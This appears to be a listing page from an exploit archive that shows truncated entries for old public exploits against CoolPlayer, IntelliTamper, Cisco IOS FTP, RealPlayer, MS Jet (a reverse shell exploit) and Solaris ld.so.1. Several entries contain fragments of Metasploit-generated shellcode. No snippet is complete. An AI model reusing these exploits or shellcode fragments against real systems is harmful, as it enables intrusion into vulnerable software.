CoolPlayer m3u File Local Buffer Overflow Exploit

No description provided by source. !/usr/bin/perl ksOSe - 07/29/2008 use warnings; use strict; http://www.metasploit.com EXITFUNC=seh, CMD=c:\WINDOWS\system32\calc.exe x86/shikataganai succeeded, final size 169 my $shellcode = "\xd9\xca\xd9\x74\x24\xf4\x5e\xb8\xf5\x65\x2d\xfb\x31\xc9\xb1"...

CoolPlayer 2.18 - .m3u File Local Buffer Overflow

CoolPlayer 2.18 - .m3u File Local Buffer Overflow !/usr/bin/perl ksOSe - 07/29/2008 use warnings; use strict; http://www.metasploit.com EXITFUNC=seh, CMD=c:\WINDOWS\system32\calc.exe x86/shikataganai succeeded, final size 169 my $shellcode =...

Cisco IOS 12.3(18) (FTP Server) - Remote (Attached to GDB)

Cisco IOS 12.318 FTP Server - Remote Attached to GDB / Cisco IOS FTP server remote exploit by Andy Davis 2008 Cisco Advisory ID: cisco-sa-20070509-iosftp - May 2007 Specific hard-coded addresses for IOS 12.318 on a 2621XM router Removes the requirement to authenticate and escalates to level 15 To...

CoolPlayer m3u File Local Buffer Overflow Exploit

Exploit for unknown platform in category local exploits ================================================= CoolPlayer m3u File Local Buffer Overflow Exploit ================================================= !/usr/bin/perl ksOSe - 07/29/2008 use warnings; use strict; http://www.metasploit.com...

coolplayerm3u-overflow.txt

!/usr/bin/perl ksOSe - 07/29/2008 use warnings; use strict; http://www.metasploit.com EXITFUNC=seh, CMD=c:\WINDOWS\system32\calc.exe x86/shikataganai succeeded, final size 169 my $shellcode = "\xd9\xca\xd9\x74\x24\xf4\x5e\xb8\xf5\x65\x2d\xfb\x31\xc9\xb1"...

Cisco IOS 12.3(18) (FTP Server) - Remote (Attached to GDB)

/ Cisco IOS FTP server remote exploit by Andy Davis 2008 Cisco Advisory ID: cisco-sa-20070509-iosftp - May 2007 Specific hard-coded addresses for IOS 12.318 on a 2621XM router Removes the requirement to authenticate and escalates to level 15 To protect the innocent a critical step has been omitte...

CoolPlayer 2.18 - '.m3u' File Local Buffer Overflow

!/usr/bin/perl ksOSe - 07/29/2008 use warnings; use strict; http://www.metasploit.com EXITFUNC=seh, CMD=c:\WINDOWS\system32\calc.exe x86/shikataganai succeeded, final size 169 my $shellcode = "\xd9\xca\xd9\x74\x24\xf4\x5e\xb8\xf5\x65\x2d\xfb\x31\xc9\xb1"...

IntelliTamper 2.0.7 (html parser) Remote Buffer Overflow Exploit (c)

No description provided by source. / IntelliTamper 2.0.7 html parser Remote Buffer Overflow Just a C version of Guido Landi's discovery. Written by r0ut3r writ3r at gmail.com kit:/home/r0ut3r/publichtml gcc -o intell intell.c kit:/home/r0ut3r/publichtml ./intell + Building payload + Success writi...

IntelliTamper 2.0.7 - HTML Parser Remote Buffer Overflow (C)

IntelliTamper 2.0.7 - HTML Parser Remote Buffer Overflow C / IntelliTamper 2.0.7 html parser Remote Buffer Overflow Just a C version of Guido Landi's discovery. Written by r0ut3r writ3r at gmail.com kit:/home/r0ut3r/publichtml gcc -o intell intell.c kit:/home/r0ut3r/publichtml ./intell + Building...

IntelliTamper 2.0.7 - HTML Parser Remote Buffer Overflow

/ IntelliTamper 2.0.7 html parser Remote Buffer Overflow Just a C version of Guido Landi's discovery. Written by r0ut3r writ3r at gmail.com kit:/home/r0ut3r/publichtml gcc -o intell intell.c kit:/home/r0ut3r/publichtml ./intell + Building payload + Success writing to index.html...

IntelliTamper 2.0.7 - HTML Parser Remote Buffer Overflow

!/usr/bin/perl use warnings; use strict; CMD="c:\windows\system32\calc.exe" x86/alphamixed succeeded, final size 344 my $shellcode = "\xda\xc3\xd9\x74\x24\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a" . "\x4a\x4a\x43\x43\x43\x43\x43\x43\x43\x37\x52\x59\x6a\x41\x58"...

intellitamper-overflow.txt

!/usr/bin/perl use warnings; use strict; CMD="c:\windows\system32\calc.exe" x86/alphamixed succeeded, final size 344 my $shellcode = "\xda\xc3\xd9\x74\x24\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a" . "\x4a\x4a\x43\x43\x43\x43\x43\x43\x43\x37\x52\x59\x6a\x41\x58"...

modjk1219-overflow.txt

!/usr/bin/python / | || | | | | | | | | /| | | | | || ||| ||||| || C. H. R. O. O. T. SECURITY GROUP - -- ----- --- -- -- ---- --- -- - http://www.chroot.org Hacks In Taiwan | || | | | | | | | Conference 2008 | | | | | | | | | || ||| || |||| http://www.hitcon.org Title =======:: Apache modjk...

IntelliTamper 2.07 (map file) Local Arbitrary Code Execution Exploit (pl)

Exploit for unknown platform in category local exploits ========================================================================= IntelliTamper 2.07 map file Local Arbitrary Code Execution Exploit pl ========================================================================= !/usr/bin/perl ksOSe -...

intellitamper-exec.txt

!/usr/bin/perl ksOSe - 7/21/2008 http://secunia.com/advisories/20172 A sploit for an ancient vuln. Just because i need to improve my skills on windows explotation. use warnings; use strict; CMD="c:\windows\system32\calc.exe" x86/alphamixed succeeded, final size 345 bad char - \x89 my $shellcode =...

RealPlayer 10 ".smil" File Local Buffer Overflow Exploit

No description provided by source. / RealPlayer .smil file buffer overflow Coded by nolimit@CiSO & Buzzdee greets to COREiSO & news & flare & class101 & ESI & RVL & everyone else I forget This uses a seh overwrite method, which takes advantage of the SEH being placed in multiple locations over th...

Aeon 0.2a Local Linux Exploit (c code)

No description provided by source. / first release /str0ke / / local linux exploit within aeon-0.2a Coded by patr0n security-tmp.h14.ru / define BUFLEN 533 define PATH "/home/research/aeon-0.2a/aeon" char shellcode= "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\xb0\x2e\xcd\x80\xeb\x15\x5b\x31"...

MS Jet Database (msjet40.dll) Reverse Shell Exploit

No description provided by source. See-security Technologies ltd. http://www.see-security.com Microsoft Jet msjet40.dll Reverse Shell Exploit coded by Tal zeltzer Based on the exploit written by S.Pearson import sys import struct Addresses are compatible with Windows XP Service Pack 1 ReturnAddre...

AOL Instant Messenger AIM "Away" Message Local Exploit

No description provided by source. / subject: local PoC exploit for AIM 5.5.3595 vendor: http://www.aim.com cve: http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0636 credits: Matt Murphy date: 10 August 2004 notes: exploits localy if an argument is supplied, otherwise prints the url...

Solaris Runtime Linker (ld.so.1) Buffer Overflow Exploit (SPARC version)

No description provided by source. / ld.so.1 exploit SPARC coded by: osker178 bjr213 psu.edu Alright, so this exploits a fairly standard buffer overflow in the default Solaris runtime linker ld.so.1 discovery by Jouko Pynnonen Only real deviation here from the standard overflow and return into li...